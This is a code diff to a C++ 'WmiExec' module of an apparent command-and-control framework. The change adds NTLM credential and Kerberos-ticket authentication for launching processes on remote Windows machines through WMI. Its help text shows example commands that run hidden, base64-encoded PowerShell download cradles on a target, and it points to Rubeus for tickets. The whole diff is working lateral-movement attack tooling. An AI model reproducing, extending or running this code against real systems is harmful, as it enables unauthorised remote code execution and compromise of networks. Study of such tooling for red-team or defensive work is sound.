diff --git a/modules/WmiExec/WmiExec.cpp b/modules/WmiExec/WmiExec.cpp index 4ffff6b..38f2b4f 100644 --- a/modules/WmiExec/WmiExec.cpp +++ b/modules/WmiExec/WmiExec.cpp @@ -52,11 +52,13 @@ std::string WmiExec::getInfo() { std::string info; info += "WmiExec:\n"; - info += "Execute a command through WMI. \n"; - info += "You must have the right kerberos tickets. \n"; + info += "Execute a command through Windows Management Instrumentation (WMI). \n"; + info += "The user have to be administrator of the remote machine. \n"; + info += "Can be use with credentials or with kerberos authentication. \n"; + info += "To use with kerberos, the ticket must be in memory (use Rubeus). \n"; info += "exemple:\n"; - info += "- wmiExec m3dc.cyber.local powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc ...\n"; - info += "- wmiExec 10.9.20.10 powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc ...\n"; + info += "- wmiExec -u DOMAIN\\Username Password target powershell.exe -nop -w hidden -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AV\n"; + info += "- wmiExec -k DOMAIN\\dc target powershell.exe -nop -w hidden -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AV\n"; return info; } @@ -64,21 +66,92 @@ std::string WmiExec::getInfo() int WmiExec::init(std::vector &splitedCmd, C2Message &c2Message) { - if (splitedCmd.size() >= 3) + if (splitedCmd.size() >= 5) { - string server = splitedCmd[1]; - - string cmd; - for (int idx = 2; idx < splitedCmd.size(); idx++) + string mode = splitedCmd[1]; + + if(mode=="-u") { - if(!cmd.empty()) - cmd+=" "; - cmd+=splitedCmd[idx]; + string usernameDomain=splitedCmd[2]; + string password=splitedCmd[3]; + string target=splitedCmd[4]; + std::string username=""; + std::string domain="."; + + std::vector splitedList; + splitList(usernameDomain, "\\", splitedList); + + if(splitedList.size()==1) + username = splitedList[0]; + else if(splitedList.size()>1) + { + domain = splitedList[0]; + username = splitedList[1]; + } + + std::string cmd = domain; + cmd += ";"; + cmd += username; + cmd += ";"; + cmd += password; + cmd += ";"; + cmd += target; + + c2Message.set_cmd(cmd); + + std::string programToLaunch=""; + for (int idx = 5; idx < splitedCmd.size(); idx++) + { + if(!programToLaunch.empty()) + programToLaunch+=" "; + programToLaunch+=splitedCmd[idx]; + } + + c2Message.set_data(programToLaunch.data(), programToLaunch.size()); + } + else if(mode=="-k") + { + string dcDomain=splitedCmd[2]; + string target=splitedCmd[3]; + std::string dc=""; + std::string domain="."; + + std::vector splitedList; + splitList(dcDomain, "\\", splitedList); + + if(splitedList.size()==1) + dc = splitedList[0]; + else if(splitedList.size()>1) + { + domain = splitedList[0]; + dc = splitedList[1]; + } + + std::string cmd = domain; + cmd += ";"; + cmd += dc; + cmd += ";"; + cmd += target; + + c2Message.set_cmd(cmd); + + std::string programToLaunch=""; + for (int idx = 4; idx < splitedCmd.size(); idx++) + { + if(!programToLaunch.empty()) + programToLaunch+=" "; + programToLaunch+=splitedCmd[idx]; + } + + c2Message.set_data(programToLaunch.data(), programToLaunch.size()); + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; } c2Message.set_instruction(splitedCmd[0]); - c2Message.set_cmd(server); - c2Message.set_data(cmd.data(), cmd.size()); } else { @@ -97,30 +170,79 @@ int WmiExec::init(std::vector &splitedCmd, C2Message &c2Message) // https://learn.microsoft.com/en-us/windows/win32/wmisdk/example--calling-a-provider-method +// https://vimalshekar.github.io/codesamples/Launching-a-process-on-remote-machine int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) { - const std::string cmd = c2Message.cmd(); + std::string cmd = c2Message.cmd(); std::vector splitedList; splitList(cmd, ";", splitedList); + + bool useToken=false; + std::string authority=""; + + bool useNTLM=false; + std::string target=""; + std::string domainName=""; + std::string userName=""; + std::string user=""; + std::string password=""; + + if(splitedList.size()==4) + { + useNTLM=true; + useToken=false; + + domainName=splitedList[0]; + userName=splitedList[1]; + password=splitedList[2]; + target=splitedList[3]; + + user=domainName; + user+="\\"; + user+=userName; + + } + else if(splitedList.size()==3) + { + useNTLM=false; + useToken=true; + + domainName=splitedList[0]; + std::string dc=splitedList[1]; + target=splitedList[2]; + + authority="kerberos:"; + authority+=domainName; + authority+="\\"; + authority+=dc; + } + else + { + + } + - std::string server=splitedList[0]; const std::string data = c2Message.data(); std::string result; #ifdef _WIN32 - // Execute payload via WMI HRESULT hres; hres = CoInitializeEx(0, COINIT_MULTITHREADED); if (FAILED(hres)) { + _com_error err(hres); + LPCTSTR errMsg = err.ErrorMessage(); + result += "CoInitializeEx Failed: "; - result += std::to_string(GetLastError()); + result += errMsg; c2RetMessage.set_instruction(m_name); + cmd += " "; + cmd += data; c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(result); return 1; @@ -132,7 +254,7 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) NULL, // Authentication services NULL, // Reserved RPC_C_AUTHN_LEVEL_DEFAULT, // Default authentication - RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation + RPC_C_IMP_LEVEL_IDENTIFY, // Default Impersonation NULL, // Authentication info EOAC_NONE, // Additional capabilities NULL // Reserved @@ -140,18 +262,28 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) if (FAILED(hres)) { + _com_error err(hres); + LPCTSTR errMsg = err.ErrorMessage(); + result += "CoInitializeSecurity Failed: "; - result += std::to_string(GetLastError()); + result += errMsg; CoUninitialize(); c2RetMessage.set_instruction(m_name); + cmd += " "; + cmd += data; c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(result); return 1; } IWbemLocator * pLoc = NULL; - hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *) &pLoc); + hres = CoCreateInstance( + CLSID_WbemLocator, + 0, + CLSCTX_INPROC_SERVER, + IID_IWbemLocator, + (LPVOID *) &pLoc); if (FAILED(hres)) { @@ -160,51 +292,96 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) CoUninitialize(); c2RetMessage.set_instruction(m_name); + cmd += " "; + cmd += data; c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(result); return 1; } std::string wmiPath="\\\\"; - wmiPath+=server; + wmiPath+=target; wmiPath+="\\root\\CIMV2"; IWbemServices * pSvc = NULL; - hres = pLoc->ConnectServer(_bstr_t(wmiPath.c_str()), NULL, NULL, 0, NULL, 0, 0, &pSvc); + hres = pLoc->ConnectServer(_bstr_t(wmiPath.c_str()), + _bstr_t(useToken?NULL:user.c_str()), // User name + _bstr_t(useToken?NULL:password.c_str()), // Password + NULL, // Locale + 0L, // Security flags + _bstr_t(useNTLM?NULL:authority.c_str()), // Authority, server principal name + 0, // WBEM context + &pSvc); // Namespace if (FAILED(hres)) { + _com_error err(hres); + LPCTSTR errMsg = err.ErrorMessage(); + result += "ConnectServer Failed: "; - result += std::to_string(GetLastError()); + result += errMsg; pLoc->Release(); CoUninitialize(); c2RetMessage.set_instruction(m_name); + cmd += " "; + cmd += data; c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(result); return 1; } + // https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cosetproxyblanket + SEC_WINNT_AUTH_IDENTITY_A* pAuthIdentity = NULL; + + if(useNTLM) + { + pAuthIdentity = new SEC_WINNT_AUTH_IDENTITY_A; + ZeroMemory(pAuthIdentity, sizeof(SEC_WINNT_AUTH_IDENTITY_A)); + + pAuthIdentity->User = (unsigned char *)userName.data(); + pAuthIdentity->UserLength = userName.size(); + + pAuthIdentity->Domain = (unsigned char *)domainName.data(); + pAuthIdentity->DomainLength = domainName.size(); + + pAuthIdentity->Password = (unsigned char *)password.data(); + // TODO try with password empty + pAuthIdentity->PasswordLength = password.size(); + + pAuthIdentity->Flags = SEC_WINNT_AUTH_IDENTITY_ANSI; + } + hres = CoSetProxyBlanket( - pSvc, // Indicates the proxy to set - RPC_C_AUTHN_WINNT, // RPC_C_AUTHN_xxx - RPC_C_AUTHZ_NONE, // RPC_C_AUTHZ_xxx - NULL, // Server principal name - RPC_C_AUTHN_LEVEL_CALL, // RPC_C_AUTHN_LEVEL_xxx - RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx - NULL, // client identity - EOAC_NONE // proxy capabilities - ); + pSvc, // Indicates the proxy to set + RPC_C_AUTHN_DEFAULT, // RPC_C_AUTHN_xxx + RPC_C_AUTHZ_DEFAULT, // RPC_C_AUTHZ_xxx + COLE_DEFAULT_PRINCIPAL, // Server principal name + RPC_C_AUTHN_LEVEL_PKT_PRIVACY, // RPC_C_AUTHN_LEVEL_xxx + RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx + pAuthIdentity, // client identity + EOAC_NONE // proxy capabilities + ); + + if(useNTLM) + { + delete pAuthIdentity; + } if (FAILED(hres)) { + _com_error err(hres); + LPCTSTR errMsg = err.ErrorMessage(); + result += "CoSetProxyBlanket Failed: "; - result += std::to_string(GetLastError()); + result += errMsg; pSvc->Release(); pLoc->Release(); CoUninitialize(); c2RetMessage.set_instruction(m_name); + cmd += " "; + cmd += data; c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(result); return 1; @@ -216,25 +393,105 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) IWbemClassObject* pClass = NULL; hres = pSvc->GetObject(ClassName, 0, NULL, &pClass, NULL); + if (FAILED(hres)) + { + result += "GetObject Failed: "; + result += std::to_string((long)(hres)); + pLoc->Release(); + CoUninitialize(); + SysFreeString(ClassName); + SysFreeString(MethodName); + + c2RetMessage.set_instruction(m_name); + cmd += " "; + cmd += data; + c2RetMessage.set_cmd(cmd); + c2RetMessage.set_returnvalue(result); + return 1; + } + IWbemClassObject* pInParamsDefinition = NULL; hres = pClass->GetMethod(MethodName, 0, &pInParamsDefinition, NULL); + if (FAILED(hres)) + { + _com_error err(hres); + LPCTSTR errMsg = err.ErrorMessage(); + + result += "GetMethod Failed: "; + result += errMsg; + pLoc->Release(); + CoUninitialize(); + SysFreeString(ClassName); + SysFreeString(MethodName); + + c2RetMessage.set_instruction(m_name); + cmd += " "; + cmd += data; + c2RetMessage.set_cmd(cmd); + c2RetMessage.set_returnvalue(result); + return 1; + } + IWbemClassObject* pClassInstance = NULL; hres = pInParamsDefinition->SpawnInstance(0, &pClassInstance); + if (FAILED(hres)) + { + _com_error err(hres); + LPCTSTR errMsg = err.ErrorMessage(); + + result += "SpawnInstance Failed: "; + result += errMsg; + pLoc->Release(); + CoUninitialize(); + SysFreeString(ClassName); + SysFreeString(MethodName); + + c2RetMessage.set_instruction(m_name); + cmd += " "; + cmd += data; + c2RetMessage.set_cmd(cmd); + c2RetMessage.set_returnvalue(result); + return 1; + } + VARIANT varCommand; varCommand.vt = VT_BSTR; varCommand.bstrVal = _bstr_t(data.c_str()); hres = pClassInstance->Put(L"CommandLine", 0, &varCommand, 0); + if (FAILED(hres)) + { + _com_error err(hres); + LPCTSTR errMsg = err.ErrorMessage(); + + result += "Put Failed: "; + result += errMsg; + pLoc->Release(); + CoUninitialize(); + SysFreeString(ClassName); + SysFreeString(MethodName); + + c2RetMessage.set_instruction(m_name); + cmd += " "; + cmd += data; + c2RetMessage.set_cmd(cmd); + c2RetMessage.set_returnvalue(result); + return 1; + } + IWbemClassObject* pOutParams = NULL; hres = pSvc->ExecMethod(ClassName, MethodName, 0, NULL, pClassInstance, &pOutParams, NULL); if (FAILED(hres)) { + _com_error err(hres); + LPCTSTR errMsg = err.ErrorMessage(); + result += "CoSetProxyBlanket Failed: "; - result += std::to_string(GetLastError()); + result += errMsg; VariantClear(&varCommand); SysFreeString(ClassName); @@ -248,6 +505,8 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) CoUninitialize(); c2RetMessage.set_instruction(m_name); + cmd += " "; + cmd += data; c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(result); return 1; @@ -277,6 +536,11 @@ int WmiExec::process(C2Message &c2Message, C2Message &c2RetMessage) #endif + result += "Success.\n"; + + cmd += " "; + cmd += data; + c2RetMessage.set_instruction(m_name); c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(result);